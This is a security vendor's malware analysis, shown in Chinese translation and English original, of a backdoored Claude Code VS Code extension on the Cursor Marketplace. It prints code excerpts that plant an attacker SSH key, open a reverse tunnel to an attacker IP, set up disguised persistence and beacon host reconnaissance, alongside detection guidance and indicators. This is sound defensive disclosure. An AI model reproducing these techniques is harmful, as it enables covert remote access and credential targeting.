商业产业 Hacker News Claude 2026-10-30T07:09 正文 ok 2847 words

官方 Claude Code 插件遭后门投毒:跨平台持久化 SSH 隧道分析

英文标题:🔶 Official Claude Code extension compromise

网络安全机构 Phorion 披露,Cursor 插件市场上分发的官方 Claude Code for VS Code 插件(版本 2.1.313)遭到供应链后门篡改,包含针对 macOS、Linux 和 Windows 的持久化 SSH 反向隧道载荷。攻击者在插件入口注入 IIFE 代码,无需用户交互即可在扩展加载时自动向 `~/.ssh/authorized_keys` 植入公钥、搜集敏感云凭据变量名并尝试建立反向隧道。尽管恶意脚本因权限校验缺陷在 macOS 等系统上出现执行 Bug,但其持久化机制和信息回传依然生效。Cursor 已紧急下架该版本并撤回相关注册表包,开发者及企业应立即排查开发环境并展开应急响应。
打开原文相关 3 · 机会 0
media65.7 KB media1.2 KB media1.4 KB media1.3 KB media1.2 KB media2.6 MB

中文

核心摘要(TL;DR)

Phorion 在 Cursor 插件市场上的官方 Claude Code for VS Code 扩展包中检测到一个后门,该后门会在 macOS、Linux 和 Windows 平台上植入持久化的 SSH 后门。本文主要针对 macOS 展开分析,在该平台上,该扩展会尝试配置 SSH 后门并建立持久化机制。

企业应立即自查内部环境中是否使用了 Claude Code for VS Code 2.1.313 版本;一旦发现使用该扩展,应立即启动应急响应。

Phorion 发现 Cursor 市场上的官方 Claude Code for VS Code 扩展遭到供应链篡改,带后门的扩展包中包含一个持久化的安全外壳协议(SSH)后门。Cursor 已从其插件市场中下架了相关版本,并同步从相应的注册表中撤回了 2.1.313 版本的 NPM 和 VS Code 安装包。

尽管该恶意植入物包含了针对 macOS、Linux 和 Windows 的配置与持久化逻辑,但本文将主要聚焦于 macOS,同时指出关键差异以及在其他平台实现上的若干 Bug。

Cursor Marketplace 为 Cursor 编辑器提供扩展分发服务。由于扩展是以 IDE 及其运行用户的权限运行的,带后门的扩展模块一旦被加载,便能立即访问本地文件、源代码和开发者工具。

值得注意的是,Phorion 发现恶意软件在尝试开启 SSH 时可能存在疏漏。其配置逻辑假定无需 root 权限即可检查当前的远程登录(Remote Login)状态。当以普通用户身份运行时,systemsetup -getremotelogin 会输出管理员权限错误并以状态码 0 退出,而不是返回 Off。由于脚本仅在输出匹配到 Off 时才尝试开启 SSH,因此它会完全跳过开启步骤。在尚未开启 SSH 的 Mac 上,尽管 SSH 密钥和持久化项已被植入,但该错误切断了入站访问路径。

在本文中,我们将深入解析该后门的工作机制、macOS 状态检查失败的原因,以及在全网环境中需要排查的特征。该载荷的目的是实现长期的交互式访问,尽管 SSH 后门的 Bug 降低了在 macOS 上的危害面,但该恶意软件仍然构成了重大威胁——它会安装持久化项并向攻击者回传主机侦察信标。

感染链

Cursor 市场扩展

受害的 extension.js 文件在经过压缩混淆(minified)的扩展包开头,前置注入了一个立即调用函数表达式(IIFE)。扩展包的其余部分与标准扩展无异,包含正常的 Claude Code 和 VS Code 字符串、标准的 activate 和 deactivate 导出项以及 UI 代码。

注入的前缀代码引入了标准 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至早于扩展正常的 activate 回调函数运行。用户无需与扩展进行任何交互即可触发载荷。

阶段 1 - 准备 SSH 访问

首先,载荷确保 ~/.ssh 目录存在,并将攻击者控制的 Ed25519 公钥追加写入到 ~/.ssh/authorized_keys 中,将该目录权限设置为 0700,文件权限设置为 0600。

该密钥使用了 svc-telemetry 注释。在追加之前,脚本会检查文件中是否已存在 svc-telemetry,而不是校验密钥本身。在排查此类活动时,建议核对公钥指纹,而非单纯依赖注释字符串。

javascript var sd = path.join(HOME, ".ssh"), ak = path.join(sd, "authorized_keys"); // ... if (cur.indexOf("svc-telemetry") < 0) { fs.appendFileSync(ak, PUB + "\n"); d.sshKey = "added" } else { d.sshKey = "present" }

此处 cur 保存了 authorized_keys 的现有内容,而 PUB 是内置的攻击者公钥(此处已隐去)。

一旦密钥就位,只要 SSH 服务处于运行状态,任何持有匹配私钥的人都可以以该用户身份进行身份验证。脚本的下一步是尝试确保本地 SSH 守护进程已启用并正在监听:

  • Linux: 尝试通过 systemctl 启用并启动 sshd 或 ssh,并可回退至 service 和 /etc/init.d/。
  • macOS: 检查远程登录(Remote Login),如果报告为 Off,则尝试通过 sudo -n systemsetup -setremotelogin on 启用。
  • Windows: 尝试使用 PowerShell 安装并启动 OpenSSH Server。

这些步骤均未包含提权漏洞利用。除非用户已经缓存或配置了免密 sudo,否则非交互式的 sudo -n 将会失败,因此在普通用户上下文中启动系统服务并不总能成功。

Windows 的代码路径似乎也存在自身的 Bug:它将 PowerShell 服务安装命令传递给了一个硬编码了 /bin/sh 的辅助函数(det()),这在标准的 Windows 安装环境下显然无法正常执行。

macOS SSH 逻辑中的 Bug?

在 macOS 上,配置脚本可能在执行到 sudo 命令之前就遇到了问题。该脚本在未提权的情况下运行 systemsetup -getremotelogin,并将输出与 /Off/i 进行正则匹配。只有在输出包含 Off 时,它才会尝试启用远程登录:

javascript // ... else if (PLAT === "darwin") { var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000); d.remoteLogin = rl; if (/Off/i.test(rl)) { det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1"); d.remoteLoginOn = "tried" } }

请注意,第二个命令(-setremotelogin on)使用了 sudo -n,而第一个命令(-getremotelogin)却没有。当你在 macOS 上以普通用户身份运行 systemsetup -getremotelogin 时,实际会得到如下提示:

text You need administrator access to run this tool... exiting!

systemsetup 在没有管理员权限的情况下拒绝读取配置,向标准输出打印错误信息,并以状态码 0 退出。恶意软件的 ex() 辅助函数截取了 stdout 并返回该内容:

javascript function ex(c, t) { try { return cp.execSync(c, { timeout: t || 3000, stdio: ["ignore", "pipe", "ignore"], windowsHide: true }).toString().trim() } catch (e) { return "" } }

由于输出内容为 "You need administrator access to run this tool... exiting!",因此 /Off/i.test(rl) 的计算结果为 false。

最终结果是,脚本跳过了 if 代码块,根本不会执行 sudo -n systemsetup -setremotelogin on。它实际上将“我没有权限检查 SSH 是否关闭”当成了“SSH 已经开启”,这也解释了为什么在扩展以普通用户身份运行时,进程遥测数据中看不到启用尝试的记录。

该 Bug 可能会阻断整个访问链条的最后一步。 如果 Mac 上原本未开启远程登录,出站隧道虽然仍能连接至攻击者的服务器,但通过隧道转发回来的任何流量都将撞上本地关闭的 22 端口。

当然,这绝不能作为一种防御依赖。如果用户此前已开启了远程登录,或者稍后开启了该功能,后门便能立即发挥作用。

阶段 2 - 建立反向 SSH 隧道

接下来,脚本会以 tunnel 用户身份建立一条连接到 134.209.82[.]225:22 的出站 SSH 连接。为了向攻击者的服务器进行认证,它会解码一个单独内置的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。

在调查过程中,有必要明确区分这两个密钥:

  • 添加到 ~/.ssh/authorized_keys 的公钥(svc-telemetry)用于允许攻击者登录受害者机器。
  • 内置的私钥(svc-telemetry-tun)用于让受害者机器向外连接到攻击者的隧道服务器。

脚本将此隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后接主机名与家目录路径组合的 MD5 哈希值的前 10 位字符:

javascript var kf = path.join( TMP, ".stk_" + crypto.createHash("md5") .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10) ); // ... var RF = (PLAT === "win32") ? "":0:localhost:22"" : "':0:localhost:22'";

该隧道使用 -R *:0:localhost:22 进行远程端口转发。传入 0 表示请求攻击者的 SSH 服务器动态分配一个监听端口,并将打到该端口的所有流量通过隧道转发回受害者机器的 localhost:22:

text 受影响主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器

攻击者 -- 独立连接 --> 服务器所分配的端口 | 通过现有隧道透传 | v 受影响主机的 SSH:22 | 使用植入的密钥登录

由于隧道运行时带有 -N 参数,它仅维持端口转发通道开启,而不在远程服务器上执行任何命令。当攻击者想要访问目标机器时,只需通过其服务器上分配的端口发起独立的 SSH 会话,并利用在阶段 1 植入的密钥对受害者本地 SSH 守护进程进行身份验证。这使得攻击者无需在 JavaScript 中编写任何自定义 C2 命令处理逻辑,即可获得完整的交互式 Shell 和文件传输能力。

SSH 命令还传递了一系列参数以保证连接隐蔽且非交互式运行:禁用了主机密钥检查、忽略 known_hosts、启用了 BatchMode 和 IdentitiesOnly、保活心跳间隔设置为 30 秒(ServerAliveCountMax=3),并开启了 ExitOnForwardFailure。

如果系统中安装了 autossh,脚本会优先使用;否则回退到标准的 ssh。它将连接包裹在一个独立的重试循环中,每次尝试之间休眠 60 秒,并在 Unix 系统上使用 pgrep 以防止产生重复的初始隧道。由于该循环是独立(detached)运行的,即使开发人员关闭了 IDE,隧道也依然保持在线。

阶段 3 - 保持访问持久化

为了在系统重启后继续存活,脚本除了启动初始的独立隧道外,还配置了针对特定平台的持久化机制:

平台 痕迹特征 (Artifacts) 持久化机制 备注
Linux ~/.config/.smt, ~/.config/.smtk 写入一个 shell 脚本以重建隧道密钥并循环 SSH 连接,然后在用户的 crontab 中添加一条 @reboot 条目。 其 crontab 检查逻辑存在 Bug,重复运行时可能清空用户现有的 cron 任务(详见下文)。
macOS ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist 写入一个用户 LaunchAgent,以 RunAtLoad 和 KeepAlive 为 true 的配置运行 /bin/sh ~/.config/.smt,随后通过 launchctl 加载。 在用户上下文而非 root LaunchDaemon 下运行。
Windows ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd 尝试创建一个名为 SysMon、在开机时以 SYSTEM 身份运行的计划任务。如果失败,则将 sysmon.cmd 写入用户的启动(Startup)文件夹。 创建 SYSTEM 任务需要管理员权限;启动文件夹回退方案则在用户登录时以用户身份运行。

在 macOS 和 Linux 上,~/.config/.smt 脚本内部嵌入了隧道私钥,并在启动重连循环前将其写入到 ~/.config/.smtk。

在 macOS 上,LaunchAgent 伪装成 ~/Library/LaunchAgents/ 下的 com.apple.sysmond.plist:

xml Label com.apple.sysmond

RunAtLoad KeepAlive

阶段 4 - 主机侦察

最后,脚本会收集基础的主机侦察信息,并向攻击者的服务器发送一次性信标(beacon):

  • 主机名、用户名、操作系统平台及架构
  • 家目录、当前工作目录以及全局 Git 邮箱(git config --global user.email)
  • 公网 IP 地址以及各配置阶段的状态标志(例如是否添加了 SSH 密钥以及运行了哪种持久化方法)
  • 最多 40 个匹配正则 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的环境变量名称(不包含具体值)

环境变量检查使用了 Object.keys(process.env):

javascript Object.keys(process.env) .filter(function(k) { return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k) }) .slice(0, 40)

由于它仅抓取变量名,信标本身并不外泄敏感凭证的具体值。但它能让攻击者快速掌握机器上存在哪些云凭证或 API Token,以便确定优先攻击的目标主机。

为了获取机器的公网 IP,脚本会向 ifconfig[.]me 发起查询,并以 api[.]ipify[.]org 作为备用。

随后,它通过明文 HTTP POST 请求向 134.209.82[.]225:8099 和 127.0.0.1:8099 的 /beacon 路径发送 JSON 报告:

javascript var r = http.request({ host: h, port: p, path: "/beacon", method: "POST", timeout: 3000, headers: {"content-type": "application/json"} }, function(res) { res.resume() }); // ... r.write(JSON.stringify(d)); r.end()

样本中为何还要向 127.0.0.1:8099 发送一份信标副本尚不明确;脚本本身并未在该端口建立本地监听。

信标通过 setTimeout(初始配置运行 1.5 秒后)单次调度发送,并通过 res.resume() 丢弃任何 HTTP 响应。这纯粹是一个签到通知,用于让攻击者知晓目标主机已就绪,而实际的访问则由 SSH 隧道承载。

检测要点

从检测的角度来看,利用端点安全框架(ESF)遥测数据,该链路中有若干行为在 macOS 上显得尤为异常。

SSH 密钥与配置变更

因为恶意软件...

English / 原文

TL;DR

Phorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that drops a persistent SSH backdoor across macOS, Linux, and Windows. This write-up focuses primarily on macOS, where the extension attempts to configure an SSH backdoor and establish persistence.

Organisations should immediately review their environments for use of Claude Code for VSCode 2.1.313 and engage incident response where use of the extension is discovered.

Phorion has discovered a compromise of the official Claude Code for VS Code extension on the Cursor Marketplace, where the backdoored extension bundle contains a persistent Secure Shell (SSH) backdoor. Cursor has removed the associated release from its marketplace, additionally pulling NPM and VSCode versions for 2.1.313 from their relevant registries.

While the implant includes setup and persistence logic for macOS, Linux, and Windows , we’re going to focus primarily on macOS in this post, calling out the key differences and a few implementation bugs on the other platforms along the way.

The Cursor Marketplace serves extensions for the Cursor editor. Because extensions run with the permissions of the IDE and the user running it, a backdoored extension gets immediate access to local files, source code, and developer tooling as soon as its module is loaded.

Notably, Phorion has discovered a likely oversight in how the malware tries to turn on SSH. The setup logic assumes it can check the current Remote Login state without root privileges. When run as a standard user, systemsetup -getremotelogin prints an administrator-access error and exits with status 0 instead of returning Off. Because the script only tries to enable SSH if the output matches Off, it skips the enablement step entirely. On a Mac that doesn’t already have SSH running, that mistake breaks the inbound access path, even though the SSH keys and persistence still get dropped.

In this post, we’ll walk through how the backdoor works, why that macOS check fails, and what to look for across your fleet. The goal of this payload is long-term interactive access, and whilst the SSH backdoor bug minimises impact on macOS, the malware is still a significant threat that installs persistence and beacons host reconnaissance back to the operator.

Infection Chain

The Cursor Marketplace Extension

The compromised extension.js file starts with an injected immediately invoked function expression (IIFE) prepended to the minified extension bundle. The rest of the bundle looks like the standard extension, with Claude Code and VS Code strings, normal activate and deactivate exports, and UI code.

The injected prefix pulls in standard Node.js modules (child_process, fs, os, path, http, and crypto) and executes as soon as Node loads the file, before the extension’s normal activate callback even runs. The user doesn’t need to interact with the extension for the payload to fire.

Stage 1 - Preparing SSH Access

First, the payload makes sure ~/.ssh exists and appends an attacker-controlled Ed25519 public key to ~/.ssh/authorized_keys, setting permissions to 0700 on the directory and 0600 on the file.

The key uses the comment svc-telemetry. Before appending, the script checks whether svc-telemetry is already in the file rather than checking for the key itself. When hunting for this activity, it’s worth checking the public-key fingerprint rather than relying solely on the comment string.

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

Here, cur holds the existing contents of authorized_keys, and PUB is the embedded attacker public key (redacted here).

With the key in place, anyone holding the matching private key can authenticate as that user, provided SSH is actually running. The next step in the script tries to make sure the local SSH daemon is enabled and listening:

  • Linux: tries to enable and start sshd or ssh via systemctl, falling back to service and /etc/init.d/.
  • macOS: checks Remote Login and, if it reports Off, tries to enable it via sudo -n systemsetup -setremotelogin on.
  • Windows: tries to install and start OpenSSH Server using PowerShell.

None of these steps include a privilege escalation exploit. Non-interactive sudo -n will fail unless the user already has passwordless sudo cached or configured, so starting a system service won’t always succeed from a standard user context.

It looks like the Windows code path also has its own bug: it passes the PowerShell service setup command through a helper function (det()) that hardcodes /bin/sh, which isn’t going to get very far on a standard Windows install.

A bug in the macOS SSH logic?

On macOS, the setup may run into problems before it even gets to the sudo command. The script runs systemsetup -getremotelogin without elevation and tests the output against /Off/i. It only tries to enable Remote Login if the output contains Off:

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

Notice that the second command (-setremotelogin on) uses sudo -n, while the first command (-getremotelogin) doesn’t. When you run systemsetup -getremotelogin as a standard user on macOS, you get this instead:

You need administrator access to run this tool... exiting!

systemsetup refuses to read the setting without administrator privileges, prints the error to stdout, and exits with status 0. The malware’s ex() helper grabs stdout and returns it:

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

Because the output is "You need administrator access to run this tool... exiting!", /Off/i.test(rl) evaluates to false.

As a result, the script skips the if block and never runs sudo -n systemsetup -setremotelogin on. It effectively treats “I don’t have permission to check if SSH is off” as “SSH is already on”, which also explains why you won’t see the enablement attempt in process telemetry when the extension runs as a normal user.

This bug can break the final step of the access chain. If Remote Login isn’t already enabled on the Mac, the outbound tunnel can still connect to the attacker’s server, but any traffic forwarded back through the tunnel will hit a closed port 22 on localhost.

Of course, that isn’t something to rely on as a defence. If the user already had Remote Login enabled, or turns it on later, the backdoor is ready and waiting.

Stage 2 - Establishing the Reverse SSH Tunnel

Next, the script sets up an outbound SSH connection to 134.209.82[.]225 as the tunnel user on port 22. To authenticate to the attacker’s server, it decodes a separate embedded private key: an unencrypted OpenSSH Ed25519 key with the comment svc-telemetry-tun.

It’s worth keeping the two keys straight during an investigation:

  • The public key added to ~/.ssh/authorized_keys (svc-telemetry) lets the attacker log into the victim’s machine.
  • The embedded private key (svc-telemetry-tun) lets the victim’s machine connect out to the attacker’s tunnel server.

The script writes this tunnel key to the OS temporary directory with a filename starting with .stk_, followed by the first ten characters of the MD5 hash of the hostname and home directory path:

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

The tunnel uses -R *:0:localhost:22 for remote port forwarding. Passing 0 asks the attacker’s SSH server to dynamically allocate a listening port and forward any traffic hitting it back through the tunnel to localhost:22 on the victim’s machine:

Affected host -- outbound SSH tunnel --> External SSH server

Operator -- separate connection --> Server's allocated port
                                            |
                                 Through the existing tunnel
                                            |
                                            v
                                  Affected host's SSH:22
                                            |
                                  Login using the planted key

Because the tunnel runs with -N, it just holds the port forward open without executing a command on the remote server. When the operator wants to access the machine, they start a separate SSH session through the allocated port on their server, authenticating against the victim’s local SSH daemon using the key planted in Stage 1. That gives them a full interactive shell and file transfer capability without needing any custom C2 command handling in the JavaScript itself.

The SSH command also passes flags to keep the connection quiet and non-interactive: host-key checking is disabled, known_hosts is ignored, BatchMode and IdentitiesOnly are enabled, keepalives are set to 30 seconds (ServerAliveCountMax=3), and ExitOnForwardFailure is turned on.

If autossh is installed, the script uses it; otherwise it falls back to standard ssh. It wraps the connection in a detached retry loop that sleeps for 60 seconds between attempts, using pgrep on Unix systems to avoid spinning up duplicate initial tunnels. Because the loop is detached, the tunnel stays up even after the user closes their IDE.

Stage 3 - Keeping Access Available

To survive a reboot, the script sets up platform-specific persistence alongside the initial detached tunnel:

Platform Artifacts Persistence mechanism Notes
Linux ~/.config/.smt, ~/.config/.smtk Writes a shell script that recreates the tunnel key and loops the SSH connection, then adds an @reboot entry to the user’s crontab. Contains a bug in the crontab check that can wipe existing user cron jobs on repeat runs (detailed below).
macOS ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist Writes a user LaunchAgent that runs /bin/sh ~/.config/.smt with RunAtLoad and KeepAlive set to true, then loads it via launchctl. Runs in the user context rather than as a root LaunchDaemon.
Windows ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd Tries to create a scheduled task named SysMon running as SYSTEM on startup. If that fails, drops sysmon.cmd into the user’s Startup folder. Creating a SYSTEM task requires admin privileges; the Startup folder fallback runs as the user at login.

On macOS and Linux, the ~/.config/.smt script has the tunnel private key embedded inside it and writes it out to ~/.config/.smtk before starting the reconnection loop.

On macOS, the LaunchAgent disguises itself as com.apple.sysmond.plist inside ~/Library/LaunchAgents/:

<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

Stage 4 - Host Recon

Finally, the script gathers basic host reconnaissance and sends a one-off beacon back to the attacker’s server:

  • Hostname, username, OS platform, and architecture
  • Home directory, current working directory, and global Git email (git config --global user.email)
  • Public IP address and status flags from each setup stage (e.g. whether the SSH key was added and which persistence method ran)
  • Up to 40 environment variable names (not values) matching /KEY|TOKEN|SECRET|PASS|AWS|GCP/i

The environment variable check uses Object.keys(process.env):

Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

Because it only grabs the variable names, the beacon doesn’t exfiltrate the secret values themselves. Instead, it gives the operator a quick inventory of which cloud credentials or API tokens live on the machine so they know which hosts to prioritise.

To get the machine’s public IP, the script queries ifconfig[.]me, falling back to api[.]ipify[.]org.

It then sends the JSON report via plaintext HTTP POST requests to /beacon on both 134.209.82[.]225:8099 and 127.0.0.1:8099:

var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

Why it also sends a copy of the beacon to 127.0.0.1:8099 isn’t clear from the sample; the script itself doesn’t set up a local listener on that port.

The beacon is scheduled once with setTimeout (1.5 seconds after the initial setup runs) and discards any HTTP response with res.resume(). It’s purely a check-in to let the operator know the host is ready, while the SSH tunnel handles the actual access.

Detection Opportunities

From a detection standpoint, there are several behaviours in this chain that stand out on macOS using Endpoint Security Framework (ESF) telemetry.

SSH Key and Configuration Changes

Because the malware appends to ~/.ssh/authorized_keys directly using Node’s fs.appendFileSync, process-only rules watching for shell commands like echo or tee touching authorized_keys won’t catch it. This is where file modification telemetry is essential: watching for IDE helper processes (Code Helper, Cursor Helper, etc.) creating or writing to ~/.ssh/authorized_keys.

Even though the IDE binary itself is validly signed, its extension host process has no business modifying SSH authentication files in the background.

While you should also monitor for systemsetup -setremotelogin on, don’t rely on it as a required condition for alerting on this campaign. As we saw above, the broken state check on macOS means that command often won’t run at all.

User LaunchAgent Persistence

The persistence setup on macOS gives us a couple of strong signals:

  • A non-Apple process writing a plist with a com.apple.* label (~/Library/LaunchAgents/com.apple.sysmond.plist).
  • A LaunchAgent configured to execute /bin/sh against a hidden script in the user’s home directory (~/.config/.smt).

Because the initial tunnel is spawned as a detached process and launchd later manages .smt directly, the subsequent ssh processes won’t have the IDE as their immediate parent in a live process tree. Correlating the file creation of .smt and com.apple.sysmond.plist back to the IDE extension host makes it much easier to piece the chain together.

SSH Tunnels and Follow-On Access

On the process and network side, look for:

  • ssh or autossh launched with remote port forwarding (-R *:0:localhost:22) and identity files pulled from /tmp/.stk_* or ~/.config/.smtk.
  • Outbound SSH connections to 134.209.82[.]225 on port 22, alongside HTTP POST requests to 134.209.82[.]225:8099 (and connection attempts to 127.0.0.1:8099).

If you find a host where this extension ran, it’s important to check whether the tunnel was merely established or whether an operator actually logged in through it. Because inbound sessions arrive through the local port forward, successful logins in SSH logs will appear to come from localhost (127.0.0.1 or ::1) authenticating with the svc-telemetry key.

If you identify an affected machine, uninstalling the extension alone won’t remove the backdoor. Make sure your response covers all of the stages it drops:

  1. Kill active tunnel processes: Terminate the /bin/sh retry loop and any ssh or autossh processes connecting to 134.209.82[.]225.
  2. Remove persistence: Unload and delete ~/Library/LaunchAgents/com.apple.sysmond.plist on macOS (or clean up the @reboot cron entry on Linux / SysMon scheduled task and Startup script on Windows), and remove ~/.config/.smt and ~/.config/.smtk.
  3. Clean up SSH keys and state: Remove the svc-telemetry public key from ~/.ssh/authorized_keys, delete /tmp/.stk_*, and verify that Remote Login (SSH) hasn’t been enabled unexpectedly.
  4. Rotate credentials: If SSH was enabled on the host, or if there’s any evidence of an inbound login, rotate any credentials or tokens that were accessible to that user account (especially those matching the KEY|TOKEN|SECRET|PASS|AWS|GCP environment variable filter).

Phorion’s Approach

Phorion’s out-of-the-box detection coverage flags the macOS persistence used in this attack across multiple rules, including non-Apple processes creating com.apple.* LaunchAgents and LaunchAgents executing shell scripts from hidden directories.

Beyond persistence, Phorion’s file access telemetry captures the IDE extension host modifying ~/.ssh/authorized_keys directly, and Phorion Protections can be used to lock down ~/.ssh/ so that only authorised processes can read or modify SSH keys and configuration files in the first place.

If you want to see how Phorion detects and blocks supply chain threats like this across your Mac fleet, get in touch to arrange a demo.

Indicators

Sample and Public-Key Fingerprints

Indicator Value Notes
SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 Backdoored extension.js bundle
Victim-login public-key fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk Ed25519 key appended to ~/.ssh/authorized_keys (comment svc-telemetry)
Tunnel public-key fingerprint SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ Embedded Ed25519 key used to authenticate to the tunnel server (comment svc-telemetry-tun)

Network Indicators

Indicator Type Notes
134.209.82[.]225 (TCP 22, user tunnel) IP / SSH Outbound reverse SSH tunnel server
134.209.82[.]225:8099 (POST /beacon) IP / HTTP External host-report beacon endpoint
127.0.0.1:8099 (POST /beacon) Loopback / HTTP Local beacon destination
ifconfig[.]me, api[.]ipify[.]org Domain Legitimate services queried for public IP discovery

Host Artifacts

Artifact Platform Notes
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 macOS (Apple Silicon) Installed extension directory (<ide> varies by editor)
~/.ssh/authorized_keys (comment svc-telemetry) All Planted Ed25519 public key
<TMP>/.stk_<10 hex chars> ($TMPDIR/.stk_* on macOS) All Initial tunnel private key in the OS temporary directory (suffix is first 10 hex chars of MD5(hostname + HOME))
~/.config/.smt and ~/.config/.smtk macOS, Linux Persistence shell script and recreated tunnel private key
~/Library/LaunchAgents/com.apple.sysmond.plist macOS User LaunchAgent executing /bin/sh ~/.config/.smt
@reboot cron entry for ~/.config/.smt Linux User crontab persistence
~/.config/smt.cmd and ~/.config/smtk Windows Persistence batch script and tunnel private key
Scheduled task SysMon Windows Startup scheduled task (requests SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd Windows Startup folder fallback script